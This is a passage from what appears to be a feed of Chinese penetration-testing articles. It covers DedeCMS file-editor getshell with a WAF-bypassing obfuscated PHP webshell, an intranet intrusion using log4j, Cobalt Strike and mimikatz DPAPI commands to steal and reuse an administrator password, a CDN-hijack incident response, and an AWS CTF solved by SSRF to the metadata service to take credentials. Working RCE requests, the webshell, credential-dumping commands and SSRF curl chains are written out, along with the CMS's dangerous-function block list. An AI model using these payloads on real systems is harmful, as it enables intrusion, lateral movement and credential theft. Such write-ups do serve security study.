{\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n \r\n        \u002F\u002F老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息\r\n        elseif (preg_match('~\\([^)]*?select~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"sub select detect\";\r\n       }\r\n        if (!empty($fail))\r\n       {\r\n            fputs(fopen($log_file,'a+'),\"$userIP||$getUrl||$db_string||$error\\r\\n\");\r\n            exit(\"\u003Cfont size='5' color='red'\u003ESafe Alert: Request Error step 2!\u003C\u002Ffont\u003E\");\r\n       }\r\n        else\r\n       {\r\n            return $db_string;\r\n       }\r\n   }\r\n}\r\n\r\n案例 4\r\n\r\n基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法\r\n\r\n我们来到对应的路由去查看\r\n\r\n果然找到了\r\n\r\n\u002F\u002F文件编辑\r\n \r\n\u002F*---------------\r\nfunction __saveEdit();\r\n----------------*\u002F\r\nelse if($fmdo==\"edit\")\r\n{\r\n    csrf_check();\r\n    $filename = str_replace(\"..\", \"\", $filename);\r\n    $file = \"$cfg_basedir$activepath\u002F$filename\";\r\n    $str = stripslashes($str);\r\n    $fp = fopen($file, \"w\");\r\n    fputs($fp, $str);\r\n    fclose($fp);\r\n \r\n    if ($fp === false) {\r\n        ShowMsg(\"保存失败!请检查文件是否可写\", -1);\r\n        exit();\r\n   }\r\n \r\n    if(empty($backurl))\r\n   {\r\n        ShowMsg(\"成功保存一个文件!\",\"file_manage_main.php?activepath=$activepath\");\r\n   }\r\n    else\r\n   {\r\n        ShowMsg(\"成功保存文件!\",$backurl);\r\n   }\r\n    exit();\r\n}\r\n\r\n一样的方法\r\n\r\n文件名是 filename,内容是 str\r\n\r\n我们访问对应的路由\r\n\r\n发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗\r\n\r\nPOST \u002Fdede\u002Ffile_manage_control.php HTTP\u002F1.1\r\nHost: dedecms:5135\r\nContent-Length: 130\r\nCache-Control: max-age=0\r\nOrigin: http:\u002F\u002Fdedecms:5135\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F137.0.0.0 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\r\nReferer: http:\u002F\u002Fdedecms:5135\u002Fdede\u002Ffile_manage_view.php?fmdo=edit&filename=index.php&activepath=\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa\nConnection: keep-alive\r\n \r\nfmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++\r\n\r\n但是发现\r\n\r\n所以准备调试分析一手\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n \r\nglobal $cfg_disable_funs;\r\n$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';\r\n$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';\r\nforeach (explode(\",\", $cfg_disable_funs) as $value) {\r\n    $value = str_replace(\" \", \"\", $value);\r\n    if(!empty($value) && preg_match(\"#[^a-z]+['\\\"]*{$value}['\\\"]*[\\s]*[([{']#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n \r\nif(preg_match(\"#^[\\s\\S]+\u003C\\?(php|=)?[\\s]+#i\", \" {$str}\") == TRUE) {\r\n    if(preg_match(\"#[$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)][\\s]*[;]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[@][$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[`][\\s\\S]*[`]#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n\r\n发现原因是因为有 waf\r\n\r\n直接交给一个聪明朋友\r\n\r\n移除多行注释\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n\r\n防止攻击者把危险代码写在注释中来绕过检测。\r\n\r\n危险函数与变量过滤\r\n\r\n$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';\r\n\r\n匹配并拦截使用了以下内容的代码:\r\n\r\n系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等\r\n\r\n全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS\r\n\r\n动态函数调用:call_user_func, create_function, 等\r\n\r\n一旦匹配:直接终止执行并提示危险代码。\r\n\r\nPHP 标签与代码执行行为检测\r\n\r\n\r\n感觉过滤还是挺严格的\r\n\r\n绕过 waf 到 RCE\r\n\r\n直接掏出上次的 webshell,稍微修改一下就 ok 了\r\n\r\n\u003C?php\r\n \r\nclass User {\r\n    private $username;\r\n    private $password;\r\n \r\n    public function __construct($username, $password) {\r\n        $this-\u003Eusername = $username;\r\n        $this-\u003Epassword = $password;\r\n   }\r\n \r\n    public function __debugInfo() {\r\n        $xmlData = base64_decode(\"PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+\");\r\n        $xmlElement = new SimpleXMLElement($xmlData);\r\n        $namespaces = $xmlElement-\u003EgetNamespaces(TRUE);\r\n        $xmlElement-\u003Erewind();\r\n        var_dump($xmlElement-\u003Ekey());\r\n        $result = $xmlElement-\u003Expath('\u002Fbooks\u002Fsystem');\r\n        var_dump (($result[0]-\u003E__toString()));\r\n       ($xmlElement-\u003Ekey())($result[0]-\u003E__toString());\r\n        return [\r\n            'username' =\u003E $this-\u003Eusername,\r\n            'info' =\u003E '这是调试时返回的信息',\r\n            'timestamp' =\u003E time()\r\n       ];\r\n   }\r\n}\r\n \r\n$user = new User('alice', 'secret123');\r\nvar_dump($user);\r\n \r\n\r\n原理上次大概讲过了,就是自动触发\r\n\r\n详情可以看到蚁景网络安全这个公众号\r\n\r\nhttps:\u002F\u002Fmp.weixin.qq.com\u002Fs\u002FWDWBwPQuXroBRpBPxkHOcg感谢给的平台\r\n\r\n然后我们访问首页\r\n\r\n成功弹出计算器",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fc35cb1c5-7010-4ded-b45a-da17a7481af0.png",openTime:"2025-08-15T16:57:45+08:00",viewsNum:1293},{id:"20250812172611",type:f,title:"记一次内网横向破解管理员密码",abstract:"前言\r\n\r\n本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。\r\n\r\n外网打点\r\n\r\n首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测\r\n\r\nhttpx 测活一下\r\n\r\n测完活之后,搞波指纹\r\n\r\n指纹到手,这边一般我都是拿高危指纹去漏扫一下\r\n\r\n然后找到了一个站点\r\n\r\nGETshell\r\n\r\n之后找到了一个站点\r\n\r\n直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波\r\n\r\n发现竟然有\r\n\r\n\u002Fapi\u002Factuator 泄露,这个利用的手法很多\r\n\r\n先遍历访问一下常见的接口\r\n\r\n但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到\r\n\r\n决定溜了的时候发现 bp 我的 dns 平台传来了动静\r\n\r\n竟然有 log4j\r\n\r\n呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了\r\n\r\nCS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令\r\n\r\n07\u002F23 15:13:23 beacon\u003E shell whoami\r\n07\u002F23 15:13:23 [*] Tasked beacon to run: whoami\r\n07\u002F23 15:13:23 [+] host called home, sent: 37 bytes\r\n07\u002F23 15:13:23 [+] received output:\r\nxxxxxx\\administrator\r\n \r\n\r\n内网启动\r\n\r\n内网信息收集\r\n\r\n首先简单看下内网的网段\r\n\r\n找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了\r\n\r\n随便 arp-a 看了一下\r\n\r\n发现 c 段的主机还是很多的\r\n\r\nsysteminfo\r\n\r\nwin2012 的用户,不过已经是高权限了,也没有必要提权了\r\n\r\n然后我发现在域的时候我就先不管了,先找找凭据\r\n\r\n凭据收集\r\n\r\n这里没有抓取到密码\r\n\r\n然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的\r\n\r\n突破\r\n\r\n当时因为还拿下了一台主机,而且是同一个内网的\r\n\r\n查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI\r\n\r\nDPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制\r\n\r\nMasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙”\r\n\r\n流程\r\n\r\n[ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey\r\n       ↓\r\n[ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据\r\n       ↓\r\n[ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c}\r\nTime     : 2025\u002F2\u002F4 0:23:08\r\nMasterKey : aed5fc1156359826c231e1079996c769cf1ee...\r\nsha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7\r\n\r\n\r\nMaster Key Files\r\n\r\n存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%\u002FMicrosoft\u002FProtect\u002F%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码\u002FNtlm\u002FSha1 就可以还原了。\r\n\r\n当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间\r\n\r\n我这里去寻找一下 amdin 的凭证\r\n\r\n直接拿最新的那个\r\n\r\n然后去获取 guid\r\n\r\n之后通过这个 guid,我们去寻找 masterkey\r\n\r\n首先需要把全部的 masterkey 找出来\r\n\r\nmimikatz sekurlsa::dpapi\r\n\r\nsekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件\r\n\r\n因为内容很多,直接把结果复制到记事本\r\n\r\n然后搜索一下\r\n\r\n太好了,找到了,然后我们直接去破解\r\n\r\nmimikatz dpapi::cred\r\n\u002Fin:C:\\Users\\Administrator\\appdata\\local\\microsoft\\credentials\\xxxxx \u002Fmasterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n\r\n直接获取到了管理员的密码\r\n\r\n而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码\r\n\r\n远程其他网段的桌面\r\n\r\n利用这个密码,横向了大概有 9 台主机",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F3f88abf1-2ae9-4f81-9fd3-a2012f0344be.png",openTime:"2025-08-12T17:26:24+08:00",viewsNum:1531},{id:"20250807101148",type:f,title:"一次暗链应急响应",abstract:"0x01前言\r\n\r\n 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下:\r\n\r\n\r\n在打开特定页面才会触发;\r\n\r\n\r\n在特定页面也无法准确复现,尝试好一会才能复现两次;\r\n\r\n\r\n前场同事使用的是iOS,然后其他人使用Android也可以复现;\r\n\r\n\r\n我使用浏览器和微信浏览器打开,难以复现;\r\n\r\n\r\n在对应服务器上未找到其音频文件;\r\n\r\n\r\n目前使用特定运营商网络可以复现;\r\n\r\n\r\n0x02分析\r\n\r\n在获取目前这些信息后,有几个猜想思路:\r\n\r\n\r\n在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器\u002F移动端进行播放;\r\n\r\n\r\n接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。\r\n\r\n\r\n但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接:\r\n\r\n 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求:\r\n\r\n 果然。在burp里面发现了奇怪的mp4文件链接。\r\n\r\n 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。\r\n\r\n那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。\r\n\r\n0x03溯源\r\n\r\n由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看:\r\n\r\n 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com\u002Fddd.html里面找到恶意链接。\r\n\r\n 那现在最后的问题就是找到www.unionxxxx.com\u002Fddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com\u002Fddd.html链接。搜索unionxxxx字段,也没有找到其他链接。\r\n\r\n最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https:\u002F\u002Fcdn.xxxxcdn.net\u002Fajax\u002Flibs\u002Fjquery\u002F3.6.0\u002Fjquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题:\r\n\r\n 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。\r\n\r\n 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接:\r\n\r\n 访问jsjiami.com,尝试解密:\r\n\r\n 结果不可逆!!!\r\n\r\n 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊!\r\n\r\n 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。\r\n\r\n0x04结尾\r\n\r\n 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fb01bf431-2444-40f1-9d65-157b55d4b76f.png",openTime:"2025-08-07T10:11:59+08:00",viewsNum:999},{id:"20250724135910",type:f,title:"wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析",abstract:"背景\r\n\r\n经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。\r\n\r\n但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。\r\n\r\n`You've discovered a Spring Boot Actuator application running on AWS: curl https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\r\n\r\n{\"status\":\"UP\"}\r\n\r\n解决过程\r\n\r\nSpring Boot Actuator 泄露\r\n\r\n首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env\r\n\r\n尝试列出\r\n\r\nuser@monthly-challenge:~$ aws s3 ls s3:\u002F\u002Fchallenge01-470f711\u002F --no-sign-request\r\n \r\nAn error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied\r\n\r\n不行,没有权限,所以我们必须去寻找凭证\r\n\r\n我第一想法就是元数据\r\n\r\n但是没有反应\r\n\r\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\r\n\r\n估计这个 shell 不是一个 EC2 的\r\n\r\n然后就是寻找凭据了,可以使用一些工具,比如 truffleHog\r\n\r\n然后简单找了一下\r\n\r\nuser@monthly-challenge:\u002F$ grep -ri --exclude-dir={\u002Fproc,\u002Fsys,\u002Fdev,\u002Frun,\u002Fsnap,\u002Fvar\u002Flib\u002Fdock\r\ner} 'Secret Access Key' \u002F\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fdatazone\u002F2018-05-10\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of a connection.\u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fdatazone\u002F2018-05-10\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of the environment credentials.\u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fs3control\u002F2018-08-20\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fappflow\u002F2020-08-23\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003E The Secret Access Key portion of the credentials. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fappflow\u002F2020-08-23\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003E The Secret Access Key portion of the credentials. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fopsworks\u002F2013-02-18\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EWhen included in a request, the parameter depends on the repository type.\u003C\u002Fp\u003E \u003Cul\u003E \u003Cli\u003E \u003Cp\u003EFor Amazon S3 bundles, set \u003Ccode\u003EPassword\u003C\u002Fcode\u003E to the appropriate IAM secret access ke\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fs3\u002F2006-03-01\u002Fservice-2.json:      \"documentation\":\"\u003Cp\u003ECreates a copy of an object that is already stored in Amazon S3.\u003C\u002Fp\u003E \u003Cnote\u003E \u003Cp\u003EYou can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si\n\r\n找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了\r\n\r\n然后去批量爆破一波查看是否有可利用的信息\r\n\r\n然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由\r\n\r\n这个应该就是拿来访问元数据的了\r\n\r\n元数据绕过\r\n\r\n一般都有 ssrf 漏洞\r\n\r\nuser@monthly-challenge:\u002F$ curl https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\r\nHTTP error: 401 Unauthorized\r\n\r\n可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2\r\n\r\n我们首先获取 token,使用 PUT 请求\r\n\r\nuser@monthly-challenge:\u002F$ curl -X PUT \\\r\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\r\n  \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\"\r\n \r\nAQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\r\n\r\n可以看到获取到了 Token,我们尝试使用 token 来访问元数据\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"\r\nami-id\r\nami-launch-index\r\nami-manifest-path\r\nblock-device-mapping\u002F\r\nevents\u002F\r\nhibernation\u002F\r\nhostname\r\niam\u002F\r\nidentity-credentials\u002F\r\ninstance-action\r\ninstance-id\r\ninstance-life-cycle\r\ninstance-type\r\nlocal-hostname\r\nlocal-ipv4\r\nmac\r\nmetrics\u002F\r\nnetwork\u002F\r\nplacement\u002F\r\nprofile\r\npublic-hostname\r\npublic-ipv4\r\npublic-keys\u002F\r\nreservation-id\r\nsecurity-groups\r\nservices\u002F\r\nsystem\r\n\r\n可以了,我们访问凭证信息\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \\\r\n\"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\r\nchallenge01-5592368\r\n\r\n然后使用它的凭证\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002Fchallenge01-5592368\"\r\n{\r\n  \"Code\" : \"Success\",\r\n  \"LastUpdated\" : \"2025-07-10T13:26:52Z\",\r\n  \"Type\" : \"AWS-HMAC\",\r\n  \"AccessKeyId\" : \"ASIARK***WELX36\",\r\n  \"SecretAccessKey\" : \"PsrjWr+AANNHBG3n***NmUHVglRE+BV\",\r\n  \"Token\" : \"IQoJb3JpZ2luX2VjELb\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FwEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky\u002FIC6HpBwzG52L\u002FED+fizjGUTaX\u002F5YP4KcqwQUIv\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz\u002FIuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR\u002FK\u002FF\n  \"Expiration\" : \"2025-07-10T19:47:29Z\"\r\n}\r\n\r\n有了这些我们就可以配置了首先我们进行配置\r\n\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FwEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky\u002FIC6HpBwzG52L\u002FED+fizjGUTaX\u002F5YP4KcqwQUIv\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz\u002FIuhF6PqC8iDwPJ9uFspInzbc\n\r\n之后我们就会有这个用户的权限了\r\n\r\n目标文件位置获取\r\n\r\n我们首先查一下这个用户有的 bucket 的权限\r\n\r\n首先获取当前用户信息\r\n\r\nroot@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01\r\n{\r\n    \"UserId\": \"AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279\",\r\n    \"Account\": \"092297851374\",\r\n    \"Arn\": \"arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279\"\r\n}\r\n\r\n然后我们查看对应的策略\r\n\r\nroot@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \\\r\n  --policy-source-arn arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 \\\r\n  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \\\r\n  --profile challenge01\r\n \r\nAn error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002F\nroot@hcss-ecs-0d0e:~# \r\n\r\n可惜这个用户没有权限,我们直接列\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01\r\n \r\nAn error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action\r\n\r\n没有列出桶的权限,不过我们知道桶的名称\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 ls s3:\u002F\u002Fchallenge01-470f711\u002F --recursive --profile challenge01\r\n2025-06-19 01:15:24         29 hello.txt\r\n2025-06-17 06:01:49         51 private\u002Fflag.txt\r\n\r\n读取文件绕过\r\n\r\n尝试读取的时候可惜\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 cp s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt - --profile challenge01\r\ndownload failed: s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden\r\n\r\n没有读的权限\r\n\r\n我们还是得查查存储桶的策略\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01\r\n{\r\n    \"Policy\": 